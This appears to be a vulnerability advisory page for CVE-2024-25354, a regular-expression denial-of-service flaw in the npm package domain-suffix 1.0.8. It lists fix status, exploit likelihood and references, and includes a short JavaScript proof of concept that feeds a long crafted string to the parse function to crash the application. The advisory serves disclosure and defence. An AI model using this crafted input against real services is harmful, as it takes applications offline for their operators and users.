CVE-2024-25354

Description

RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function. ## PoC ```js async function exploit() { const domainsuffix = require(\"domain-suffix\"); // Crafting a string that will cause excessive backtracking const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\" const result = await domainsuffix.domainSuffix.parse(maliciousInput); } await exploit(); ```

How to fix CVE-2024-25354

No fixed version has been published yet. Mitigate by removing the affected package or applying upstream guidance from the references below.

• —no fix listed

Is CVE-2024-25354 being exploited?

Low — EPSS is 0.2%, meaning exploitation activity has not been observed at scale.

Affected packages (1)

• from 0, <= 1.0.8

CVSS scores

References (4)

• ADVISORYnvd.nist.gov/vuln/detail/CVE-2024-25354
• PATCHgithub.com/ikrong/domain-suffix
• WEBgist.github.com/6en6ar/c3b11b4058b8e2bc54717408d451fb79
• WEBgithub.com/ikrong/domain-suffix/blob/master/src/domainSuffix.ts